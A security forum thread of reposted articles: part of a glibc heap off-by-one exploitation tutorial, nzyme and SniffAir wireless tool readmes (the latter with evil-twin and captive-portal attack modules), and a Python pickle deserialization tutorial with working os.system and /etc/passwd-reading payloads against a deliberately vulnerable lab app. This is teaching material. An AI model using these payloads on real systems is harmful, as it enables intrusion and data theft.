ESUACEB| | DETANIMRET LLUN| |AAAAAAAAAAAAAAAAAAAAAAA| +-----------------+-+-+-+ |FREE J SIZE = \x00\x81| (3) +-----------------+-+-+-+ |J->fd = main_arena->TOP| |J->bk = main_arena->TOP| +-----------------------+ |CHUNK K SIZE = \x00\x80| +-----------------------+ | | | | +-----------------------+ |PREV_SIZE B = \x02\x50| (2) +-----------------------+ |CHUNK C SIZE = \x01\x00| (1) +-----------------+-+-+-+ | | | | +-----------------------+ | TOP | +-----------------------+ | | | | | | | | +-----------------------+ 4 – Then, we are free()‘ing C. Now pay close attention to the following: – Chunk C PREV_INUSE bit is unset (1) – Chunk C PREV_SIZE is still the old B size 0x250 (2) – Chunk J is also free and at the position of old B (0x250 bytes back from chunk C) (3) They are explained in reverse order because this is exactly how the unlink macro is going over all of them. Check’s that the current free()‘d chunk has its PREV_INUSE bit unset (1), then it proceeds to merge the other free()‘d chunk which is at C – PREV_SIZE = J. Now J and C are merged into one big free space at J. Poor K was in the middle of this merge situation and is now treated as free space – ptmalloc2 forgot about him -=Data gets populated from right to left and from top to bottom=- +-----------------+-+-+-+ |CHUNK A SIZE = \x01\x01| <-- Size 0x100 + 0x1 (PREV_INUSE bit) +-----------------+-+-+-+ | EREH OG NAC GNIRTS YNA| | EB LLIW TI ESUACEB| | DETANIMRET LLUN| |AAAAAAAAAAAAAAAAAAAAAAA| +-----------------+-+-+-+ |FREE J SIZE = \x03\x51| <-- Free size starting here +-----------------+-+-+-+ |J->fd = main_arena->TOP| |J->bk = main_arena->TOP| + - - - - - - - + | CHUNK K FORGOTTEN! | + - - - - - - - + | | | | + - - - - - - - + | | | | | | | | | | | | +-----------------------+ <-- Free size ends here | TOP | +-----------------------+ | | | | | | | | +-----------------------+ Now chunk K is in the new free()‘d area (in green) which again has nearly the same implications as the previous scenario: use-after-invalidation, leaks, arbitrary writes, etc. The playground Let’s go have some fun! As in the previous series I am trying to create a tradition by providing proof of concepts and a challenge! You can get the playground’s code here. Download Playground Code In order to not make this blog post longer than expected, the proof of concepts provided are directly related with the When stars align section. Worry not for I have heavily commented each PoC. But wait! Don’t think I would be that lazy! Here, have some videos and a little explanation. One byte write This PoC is based around on writing to chunk C. An X is written to a point in B after the vulnerability is triggered. This point in chunk B is exactly the previous to last byte in the overlapped C. One null byte write This one corresponds to the second scenario with the difference that instead of creating J and K chunk variables, I have reused the B variable and just added an X variable to hold the fourth chunk. This chunk X is the one to be overlapped and overwritten as we can see in the following video. Now you This second challenge is on 178.62.74.135 on ports 10000, 10001. Your goal is to retrieve the flag by overlapping a chunk that you cannot read directly from – the vulnerable chunk is A! nc 178.62.74.135 10000 -v nc 178.62.74.135 10001 -v The flag is in the form: SP{contents_of_the_flag}. Note that you must send us your exploit source code to be eligible to win! The winner will win a SensePost shirt and will be chosen regarding the following criteria: Originality – Programming Language, code length, formatting, comments, etc. Accurate – Did you do the maths or bruteforced it? Hints – There are 3 allocated chunks already: A(0x100), B(0x100) & C(0x80) – Values with the last 3 bits set can cause weird behaviour – There are hidden easter eggs for those trying to break things further – You can calculate or either brute force it. Your call! – No, you don’t need to solve the 2016 challenge References [1] Glibc Adventures: The Forgotten Chunks Chris Evans/Tavis Ormandis – Single NUL byte overflow Painless intro to the linux userland heap Sursa: https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-the-magicians-cape-1-byte-overflow/

Nzyme Introduction Nzyme collects 802.11 management frames directly from the air and sends them to a Graylog (Open Source log management) setup for WiFi IDS, monitoring, and incident response. It only needs a JVM and a WiFi adapter that supports monitor mode. Think about this like a long-term (months or years) distributed Wireshark/tcpdump that can be analyzed and filtered in real-time, using a powerful UI. If you are new to the fascinating space of WiFi security, you might want to read my Common WiFi Attacks And How To Detect Them blog post. What kind of data does it collect? Nzyme collects, parses and forwards all relevant 802.11 management frames. Management frames are unecrypted so anyone close enough to a sending station (an access point, a computer, a phone, a lightbulb, a car, a juice maker, ...) can pick them up with nzyme. Association request Association response Probe request Probe response Beacon Disassociation Authentication Deauthentication What do I need to run it? Everything you need is available from Amazon Prime and is not very expensive. There even is a good chance you have the parts around already. One or more WiFi adapters that support monitor mode on your operating system. The most important component is one (or more) WiFi adapters that support monitor mode. Monitor mode is the special state of a WiFi adapter that makes it read and report all 802.11 frames and not only certain management frames or frames of a network it is connected to. You could also call this mode sniffing mode: The adapter just spits out everything it sees on the channel it is tuned to. The problem is, that many adapter/driver/operating system combinations do not support monitor mode. The internet is full of compatibility information but here are the adapters I run nzyme with on a Raspberry Pi 3 Model B: ALFA AWUS036NH - 2.4Ghz and 5Ghz (Amazon Prime, about $40) ALFA AWUS036NEH - 2.4Ghz (Amazon Prime, about $50) If you have another one that supports monitor mode, you can use that one. Nzyme does by far not require any specific hardware. A small computer to run nzyme on. I recommend to run nzyme on a Raspberry Pi 3 Model B. This is pretty much the reference architecture, because that is what I run it on. In the end, it shoulnd’t really matter what you run it on, but the docs and guides will most likely refer to a Raspberry Pi with a Raspbian on in. A Graylog setup You need a Graylog setup with ah GELF TCP input that is reachable by your nzyme sensors. Channel hopping The 802.11 standard defines many frequencies (channels) a network can operate on. This is useful to avoid contention and bandwidth issues, but also means that your wireless adapter has to be tuned to a single channel. During normal operations, your operating system will do this automatically for you. Because we don’t want to listen on only one, but possibly all WiFi channels, we either need dozens of adapters, with one adapter for each channel, or we cycle over multiple channels on a single adapter rapidly. Nzyme allows you to configure multiple channels per WiFi adapter. For example, if you configure nzyme to listen on channel 1,2,3,4,5,6 on wlan0 and 7,8,9,10,11 on wlan1, it will tune wlan0 to channel 1 for a configurable time (default is 1 second) and then switch to channel 2, then to channel 3 and so on. By doing this, we might miss a bunch of wireless frames but are not missing out on some channels completely. The best configuration depends on your use-case but usually you will want to tune to all 2.4 Ghz and 5 Ghz WiFi channels. On Linux, you can get a list of channels your WiFi adapter supports like this: $ iwlist wlan0 channel wlan0 32 channels in total; available frequencies : Channel 01 : 2.412 GHz Channel 02 : 2.417 GHz Channel 03 : 2.422 GHz Channel 04 : 2.427 GHz Channel 05 : 2.432 GHz Channel 06 : 2.437 GHz Channel 07 : 2.442 GHz Channel 08 : 2.447 GHz Channel 09 : 2.452 GHz Channel 10 : 2.457 GHz Channel 11 : 2.462 GHz Channel 12 : 2.467 GHz Channel 13 : 2.472 GHz Channel 14 : 2.484 GHz Channel 36 : 5.18 GHz Channel 38 : 5.19 GHz Channel 40 : 5.2 GHz Channel 44 : 5.22 GHz Channel 46 : 5.23 GHz Channel 48 : 5.24 GHz Channel 52 : 5.26 GHz Channel 54 : 5.27 GHz Channel 56 : 5.28 GHz Channel 60 : 5.3 GHz Channel 62 : 5.31 GHz Channel 64 : 5.32 GHz Channel 100 : 5.5 GHz Channel 102 : 5.51 GHz Channel 104 : 5.52 GHz Channel 108 : 5.54 GHz Channel 110 : 5.55 GHz Channel 112 : 5.56 GHz Current Frequency:2.432 GHz (Channel 5) Things to keep in mind A few general things to know before you get started: Success will highly depend on how well supported your WiFi adapters and drivers are. Use the recommended adapters for best results. You can get them from Amazon Prime and have them ready in one or two days. At least on OSX, your adapter will not switch channels when already connected to a network. Make sure to disconnect from networks before using nzyme with the on-board WiFi adapter. On other systems, switching to monitor mode should disconnect the adapter from a possibly connected network. Nzyme works well with both the OpenJDK or the Oracle JDK and requires Java 7 or 8. Wifi adapters can draw quite some current and I have seen Raspberry Pi 3’s shut down when connecting more than 3 ALFA adapters. Consider this before buying tons of adapters. Testing on a MacBook (You can skip this and go straight to a real installation on a Raspberry Pi or install it on any other device that runs Java and has supported WiFi adapters connected to it.) Requirements Nzyme is able to put the onboard WiFi adapter of recent MacBooks into monitor mode so you don’t need an external adapter for testing. Remember that you cannot be connected to a wireless network while running nzyme, so the Graylog setup you send data to has to be local or you need a wired network connection or a second WiFi adapter as LAN/WAN uplink. Make sure you have Java 7 or 8 installed: $ java -version java version "1.8.0_121" Java(TM) SE Runtime Environment (build 1.8.0_121-b13) Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode) Download and configure Download the most recent build from the [Releases] page. Create a new file called nzyme.conf in the same folder as your nzyme.jar file: nzyme_id = nzyme-macbook-1 channels = en0:1,2,3,4,5,6,8,9,10,11 channel_hop_command = sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport {interface} channel {channel} channel_hop_interval = 1 graylog_addresses = graylog.example.org:12000 beacon_frame_sampling_rate = 0 Note the graylog_addresses variable that has to point to a GELF TCP input in your Graylog setup. Adapt it accordingly. Please refer to the example config in the repository for a more verbose version with comments. Run After disconnecting from all WiFi networks (you might have to "forget" them in the macOS WiFi settings), you can start nzyme like this: $ java -jar nzyme-0.1.jar -c nzyme.conf 18:35:00.261 [main] INFO horse.wtf.nzyme.Main - Printing statistics every 60 seconds. Logs are in [logs/] and will be automatically rotated. 18:35:00.307 [main] WARN horse.wtf.nzyme.Nzyme - No Graylog uplinks configured. Falling back to Log4j output 18:35:00.459 [main] INFO horse.wtf.nzyme.Nzyme - Building PCAP handle on interface [en0] 18:35:00.474 [main] INFO horse.wtf.nzyme.Nzyme - PCAP handle for [en0] acquired. Cycling through channels <1,2,3,4,5,6,8,9,10,11>. 18:35:00.483 [nzyme-loop-0] INFO horse.wtf.nzyme.Nzyme - Commencing 802.11 frame processing on [en0] ... (⌐■_■)–︻╦╤─ – – pew pew Nzyme is now collecting data and writing it into the Graylog input you configured. A message will look like this: Installation and configuration on a Raspberry Pi 3 Requirements The onboard WiFi chips of recent Raspberry Pi models can be put into monitor mode with the alternative nexmon driver. The problem is, that the onboard antenna is not very good. If possible, use an external adapter that supports monitor mode instead. Make sure you have Java 7 or 8 installed: $ java -version openjdk version "1.8.0_40-internal" OpenJDK Runtime Environment (build 1.8.0_40-internal-b04) OpenJDK Zero VM (build 25.40-b08, interpreted mode) Download and configure Download the most recent build from the [Releases] page. Create a new file called nzyme.conf in the same folder as your nzyme.jar file: nzyme_id = nzyme-sensors-1 channels = wlan0:1,2,3,4,5,6,8,9,10,11,12,13,14|wlan1:36,38,40,44,46,48,52,54,56,60,62,64,100,102,104,108,110,112 channel_hop_command = sudo /sbin/iwconfig {interface} channel {channel} channel_hop_interval = 1 graylog_addresses = graylog.example.org:12000 beacon_frame_sampling_rate = 0 Note the graylog_addresses variable that has to point to a GELF TCP input in your Graylog setup. Adapt it accordingly. Please refer to the example config in the repository for a more verbose version with comments. Run $ java -jar nzyme-0.1.jar -c nzyme.conf 17:28:45.657 [main] INFO horse.wtf.nzyme.Main - Printing statistics every 60 seconds. Logs are in [logs/] and will be automatically rotated. 17:28:51.637 [main] INFO horse.wtf.nzyme.Nzyme - Building PCAP handle on interface [wlan0] 17:28:53.178 [main] INFO horse.wtf.nzyme.Nzyme - PCAP handle for [wlan0] acquired. Cycling through channels <1,2,3,4,5,6,8,9,10,11,12,13,14>. 17:28:53.268 [nzyme-loop-0] INFO horse.wtf.nzyme.Nzyme - Commencing 802.11 frame processing on [wlan0] ... (⌐■_■)–︻╦╤─ – – pew pew 17:28:54.926 [main] INFO horse.wtf.nzyme.Nzyme - Building PCAP handle on interface [wlan1] 17:28:56.238 [main] INFO horse.wtf.nzyme.Nzyme - PCAP handle for [wlan1] acquired. Cycling through channels <36,38,40,44,46,48,52,54,56,60,62,64,100,102,104,108,110,112>. 17:28:56.247 [nzyme-loop-1] INFO horse.wtf.nzyme.Nzyme - Commencing 802.11 frame processing on [wlan1] ... (⌐■_■)–︻╦╤─ – – pew pew Collected frames will now start appearing in your Graylog setup. Note that DEB and RPM packages are in the making and will be released soon. Renaming WiFi interfaces (optional) The interface names wlan0, wlan1 etc are not always deterministic. Sometimes they can change after a reboot and suddenly nzyme will attempt to use the onboard WiFi chip that does not support moniotr mode. To avoid this problem, you can "pin" interface names by MAC address. I like to rename the onboard chip to wlanBoard to avoid accidental usage. This is what ifconfig looks like with no external WiFi adapters plugged in. pi@parabola:~ $ ifconfig eth0 Link encap:Ethernet HWaddr b8:27:eb:0f:0e:d4 inet addr:172.16.0.136 Bcast:172.16.0.255 Mask:255.255.255.0 inet6 addr: fe80::8966:2353:4688:c9a/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1327 errors:0 dropped:22 overruns:0 frame:0 TX packets:1118 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:290630 (283.8 KiB) TX bytes:233228 (227.7 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:304 errors:0 dropped:0 overruns:0 frame:0 TX packets:304 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:24552 (23.9 KiB) TX bytes:24552 (23.9 KiB) wlan0 Link encap:Ethernet HWaddr b8:27:eb:5a:5b:81 inet6 addr: fe80::77be:fb8a:ad75:cca9/64 Scope:Link UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) In this case wlan0 is the onboard WiFi chip that we want to rename to wifiBoard. Open the file /lib/udev/rules.d/75-persistent-net-generator.rules and add wlan* to the device name whitelist: # device name whitelist KERNEL!="wlan*|ath*|msh*|ra*|sta*|ctc*|lcs*|hsi*", \ GOTO="persistent_net_generator_end" Reboot the system. After it is back up, open /etc/udev/rules.d/70-persistent-net.rules and change the NAME variable: SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="b8:27:eb:5a:5b:81", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="wlan*", NAME="wlanBoard" Reboot the system again and enjoy the consistent naming. Any new WiFi adapter you plug in, will be a classic, numbered wlan0, wlan1 etc that can be safely referenced in the nzyme config without the chance of accidentally selecting the onboard chip, because it's called wlanBoard now. eth0 Link encap:Ethernet HWaddr b8:27:eb:0f:0e:d4 inet addr:172.16.0.136 Bcast:172.16.0.255 Mask:255.255.255.0 inet6 addr: fe80::8966:2353:4688:c9a/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:349 errors:0 dropped:8 overruns:0 frame:0 TX packets:378 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:75761 (73.9 KiB) TX bytes:69865 (68.2 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:228 errors:0 dropped:0 overruns:0 frame:0 TX packets:228 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:18624 (18.1 KiB) TX bytes:18624 (18.1 KiB) wlanBoard Link encap:Ethernet HWaddr b8:27:eb:5a:5b:81 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) Known issues Some WiFi adapters will not report the MAC timestamp in the radiotap header. The field will simply be missing in Graylog. This is usually an issue with the driver. The deauthentication and disassociation reason field is not reported correctly on some systems. This is known to be an issue on a 2016 MacBook Pro running macOS Sierra. Legal notice Make sure to comply with local laws, especially with regards to wiretapping, when running nzyme. Note that nzyme is never decrypting any data but only reading unencrypted data on unlicensed frequencies. Sursa: https://github.com/lennartkoopmann/nzyme

SniffAir SniffAir is an open-source wireless security framework. Sniffair allows for the collection, management, and analyzation of wireless traffic. In additional, SniffAir can also be used to preform sophisticated wireless attacks. SniffAir was born out of the hassle of managing large or multiple pcap files while thoroughly cross-examining and analyzing the traffic, looking for potential security flaws or malicious traffic. SniffAir is developed by @Tyl0us and @theDarracott Install To install run the setup.py script $python setup.py Usage % * ., % % ( ,# (..# % /@@@@@&, *@@% &@, @@# /@@@@@@@@@ .@@@@@@@@@. ,/ # # (%%%* % (.(. .@@ &@@@@@@%. .@@& *&@ %@@@@. &@, @@% %@@,,,,,,, ,@@,,,,,,, .( % % %%# # % # ,@@ @@(,,,#@@@. %@% %@@(@@. &@, @@% %@@ ,@@ /* # /*, %.,, ,@@ @@* #@@ ,@@& %@@ ,@@* &@, @@% %@@ ,@@ .# //#(, (, ,@@ @@* &@% .@@@@@. %@@ .@@( &@, @@% %@@%%%%%%* ,@@%%%%%%# (# ##. ,@@ @@&%%%@@@% *@@@@ %@@ .@@/ &@, @@% %@@,,,,,, ,@@,,,,,,. %#####% ,@@ @@(,,%@@% @@% %@@ @@( &@, @@% %@@ ,@@ % (*/ # ,@@ @@* @@@ %@% %@@ @@&&@, @@% %@@ ,@@ % # .# .# ,@@ @@* @@% .@@&/,,#@@@ %@@ &@@@, @@% %@@ ,@@ /(* /(# ,@@ @@* @@# *%@@@&* *%# ,%# #%/ *%# %% #############. .%# #%. .%% (@Tyl0us & @theDarracott) >> [default]# help Commands ======== workspace Manages workspaces (create, list, load, delete) live_capture Initiates an valid wireless interface to collect wireless pakcets to be parsed (requires the interface name) offline_capture Begins parsing wireless packets using an pcap file-kistmit .pcapdump work best (requires the full path) offline_capture_list Begins parsing wireless packets using an list of pcap file-kistmit .pcapdump work best (requires the full path) query Executes a quey on the contents of the acitve workspace help Displays this help menu clear Clears the screen show Shows the contents of a table, specific information accorss all tables or the avilable modules inscope Add ESSID to scope. inscope [ESSID] use Use a SniffAir module info Displays all varible infomraiton regardin the selected module set Sets a varible in module exploit Runs the loaded module exit Exit SniffAir >> [default]# Begin First create or load a new or existing workspace using the command workspace create <workspace> or workspace load <workspace> command. To view all existing workspaces use the workspace list command and workspace delete <workspace> command to delete the desired workspace: >> [default]# workspace Manages workspaces Command Option: workspaces [create|list|load|delete] >> [default]# workspace create demo [+] Workspace demo created Load data into a desired workplace from a pcap file using the command offline_capture <the full path to the pcap file>. To load a series of pcap files use the command offline_capture_list <the full path to the file containing the list of pcap name> (this file should contain the full patches to each pcap file). >> [demo]# offline_capture /root/sniffair/demo.pcapdump \ [+] Completed [+] Cleaning Up Duplicates [+] ESSIDs Observed Show Command The show command displays the contents of a table, specific information across all tables or the available modules, using the following syntax: >> [demo]# show table AP +------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------+ | ID | ESSID | BSSID | VENDOR | CHAN | PWR | ENC | CIPHER | AUTH | |------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------| | 1 | HoneyPot | c4:6e:1f:0c:82:03 | TP-LINK TECHNOLOGIES CO. LTD. | 4 | -17 | WPA2 | TKIP | MGT | | 2 | Demo | 80:2a:a8:5a:fb:2a | Ubiquiti Networks Inc. | 11 | -19 | WPA2 | CCMP | PSK | | 3 | Demo5ghz | 82:2a:a8:5b:fb:2a | Unknown | 36 | -27 | WPA2 | CCMP | PSK | | 4 | HoneyPot1 | c4:6e:1f:0c:82:05 | TP-LINK TECHNOLOGIES CO. LTD. | 36 | -29 | WPA2 | TKIP | PSK | | 5 | BELL456 | 44:e9:dd:4f:c2:7a | Sagemcom Broadband SAS | 6 | -73 | WPA2 | CCMP | PSK | +------+-----------+-------------------+-------------------------------+--------+-------+-------+----------+--------+ >> [demo]# show SSIDS --------- HoneyPot Demo HoneyPot1 BELL456 Hidden Demo5ghz --------- The query command can be used to display a unique set of data based on the parememters specificed. The query command uses sql syntax. Modules Modules can be used to analyze the data contained in the workspaces or preform offensive wireless attacks using the use <module name> command. For some modules additional variables may need to be set. They can be set using the set command set <variable name> <variable value>: >> [demo]# show modules Available Modules [+] Run Hidden SSID [+] Evil Twin [+] Captive Portal [+] Auto EAP [+] Exporter >> [demo]# >> [demo]# use Captive Portal >> [demo][Captive Portal]# info Globally Set Varibles ===================== Module: Captive Portal Interface: SSID: Channel: Template: Cisco (More to be added soon) >> [demo][Captive Portal]# set Interface wlan0 >> [demo][Captive Portal]# set SSID demo >> [demo][Captive Portal]# set Channel 1 >> [demo][Captive Portal]# info Globally Set Varibles ===================== Module: Captive Portal Interface: wlan0 SSID: demo Channel: 1 Template: Cisco (More to be added soon) >> [demo][Captive Portal]# Once all varibles are set, then execute the exploit command to run the desired attack. Export To export all information stored in a workspace’s tables using the Exporter module and setting the desired path. Sursa: https://github.com/Tylous/SniffAir

Explaining and exploiting deserialization vulnerability with Python (EN) Sat 23 September 2017 Dan Lousqui Deserialization? Even though it was neither present in OWASP TOP 10 2013, nor in OWASP TOP 10 2017 RC1, Deserialization of untrusted data is a very serious vulnerability that we can see more and more often on current security disclosures. Serialization and Deserialization are mechanisms used in many environment (web, mobile, IoT, ...) when you need to convert any Object (it can be an OOM, an array, a dictionary, a file descriptor, ... anything) to something that you can put "outside" of your application (network, file system, database, ...). This conversion can be in both way, and it's very convenient if you need to save or transfer data (Ex: share the status of a game in multilayer game, create an "export" / "backup" file in a project, ...). However, we will see in this article how this kind of behavior can be very dangerous... and therefore, why I think this vulnerability will be present in OWASP TOP 10 2017 RC2. In python? With python, the default library used to serialize and deserialize objects is pickle. It is a really easy to use library (compared to something like sqlite3) and very convenient if you need to persist data. For example, if you want to save objects: import pickle import datetime my_data = {} my_data['last-modified'] = str(datetime.datetime.now()) my_data['friends'] = ["alice", "bob"] pickle_data = pickle.dumps(my_data) with open("backup.data", "wb") as file: file.write(pickle_data) That will create a backup.data file with the following content: last-modifiedqX2017-09-23 00:23:29.986499qXfriendsq]q(XaliceqXbobqeu. And if you want to retrieve your data with Python, it's easy: import pickle with open("backup.data", "rb") as file: pickle_data = file.read() my_data = pickle.loads(pickle_data) my_data # {'friends': ['alice', 'bob'], 'last-modified': '2001-01-01 01:02:03.456789'} Awesome, isn't it? Introducing... Pickle pRick ! In order to illustrate the awesomeness of pickle in term of insecurity, I developed a vulnerable application. You can retrieve the application on the TheBlusky/pickle-prick repository. As always with my Docker, just execute the build.sh or build.bat script, and the vulnerable project will be launched. This application is for Ricks, from the Rick and Morty TV show. For those who don't know this show (shame ...) Rick is a genius scientist who travel between universes and planets for great adventures with his grand son Morty. The show implies many multiverse and time-travel dilemma. Each universe got their own Rick, so I developed an application for every Rick, so they can trace their adventures by storing when, where and with who they travelled. Each Ricks must be able to use the application, and the data should never be stored on the server, so one Rick cannot see the data of other Ricks. In order to do that, Rick can export his agenda into a pickle_rick.data file that can be imported later. Obviously, this application is vulnerable (Rick would not offer other Ricks this kind of gift without a backdoor ...). If you don't want to be spoiled, and want to play a little game, you should stop reading this article and try to launch the application (locally), and try to pwn it (Without looking at the exploit folder obviously, ...) What's wrong with Pickle? pickle (like any other serialization / deserialization library) provides a way to execute arbitrary command (even if few developers know it). In order to do that, you simply have to create an object, and to implement a __reduce__(self) method. This method should return a list of n elements, the first being a callable, and the others arguments. The callable will be executed with underlying arguments, and the result will be the "unserialization" of the object. For exemple, if you save the following pickle object: import pickle import os class EvilPickle(object): def __reduce__(self): return (os.system, ('echo Powned', )) pickle_data = pickle.dumps(EvilPickle()) with open("backup.data", "wb") as file: file.write(pickle_data) And then later, try to deserialize the object : import pickle with open("backup.data", "rb") as file: pickle_data = file.read() my_data = pickle.loads(pickle_data) A Powned will be displayed with the loads function, as echo Powned will be executed. It's easy then to imagine what we can do with such a powerful vulnerability. The exploit In the pickle-prick application, pickle is used in order to retrieve all adventures: async def do_import(request): session = await get_session(request) data = await request.post() try: pickle_prick = data['file'].file.read() except: session['errors'] = ["Couldn't read pickle prick file."] return web.HTTPFound('/') prick = base64.b64decode(pickle_prick.decode()) session['adventures'] = [i for i in pickle.loads(prick)] return web.HTTPFound('/') So if we upload a malicious pickle, it will be executed. However, if we want to be able to read the result of a code execution, the __reducer__ callable, must return an object that meets with adventures signature (which is an array of dictionary having a date, universe, planet and a morty). In order to do that, we will use the vulnerability twice: a first time to upload a malicious python code, and a second time to execute it. 1. Generating a payload to generate a payload We want to upload a python file that contain a callable that meets adventures signature and will be executed on the server. Let's write an evil_rick_shell.py file with such a code: def do_evil(): with open("/etc/passwd") as f: data = f.readlines() return [{"date": line, "dimension": "//", "planet": "//","morty": "//"} for line in data] Now, let's create a pickle that will write this file on the server: import pickle import base64 import os class EvilRick1(object): def __reduce__(self): with open("evil_rick_shell.py") as f: data = f.readlines() shell = "\n".join(data) return os.system, ("echo '{}' > evil_rick_shell.py".format(shell),) prick = pickle.dumps(EvilRick1()) if os.name == 'nt': # Windows trick prick = prick[0:3] + b"os" + prick[5:] pickle_prick = base64.b64encode(prick).decode() with open("evil_rick1.data", "w") as file: file.write(pickle_prick) This pickle file will trigger an echo '{payload}' > evil_rick_shell.py command on the server, so the payload will be installed. As the os.system callable does not meet with adventure signature, uploading the evil_rick1.data should return a 500 error, but it will be too late for any security 2. Generating a payload to execute a payload Now let's create a pickle object that will call the evil_rick_shell.do_evil callable: import pickle import base64 import evil_rick_shell class EvilRick2(object): def __reduce__(self): return evil_rick_shell.do_evil, () prick = pickle.dumps(EvilRick2()) pickle_prick = base64.b64encode(prick).decode() with open("evil_rick2.data", "w") as file: file.write(pickle_prick) The evil_rick_shell.do_evil callable meeting with adventure signature, uploading the evil_rick2.data should be fine, and should add each line of the /etc/passwd file as an adventure. Build it all together Once both payloads are generated, simply upload the first one, then the second one, and you should be able to have this amazing screen: We can see that the do_evil() payload has been triggered, and we can see the content of /etc/passwd file. Even though the content of this file is not (really) sensitive, it's quite easy to imagine something more evil to be executed on Rick's server. How to protect against it It's simple... don't use pickle (or any other "wannabe" universal and automatic serializer) if you are going to parse untrusted data with it. It's not that hard to write your own convert_data_to_string(data) and convert_string_to_data(string) functions that won't be able to interpret forged object with malicious code within. I hope you enjoyed this article, and have fun with it Dan Lousqui IT Security Senior Consultant, developer, open source enthousiast, and so much more ! Sursa: https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html

Ca sa scoti ~500 de euro pe luna, la pretul si la dificultatea de acum, ai avea nevoie cam de 450 Mh/s. O placa video (gtx 1070) face cam 30 Mh/s. Pot sa iti iei gtx1060 (23Mh/s), rx480(28Mh/s), rx580 (27-30Mh/s). Ai avea nevoie cam de 15 GPU...

Awesome Hacking A collection of awesome lists for security researchers. Source: https://github.com/Hack-with-Github/Awesome-Hacking/blob/master/README.md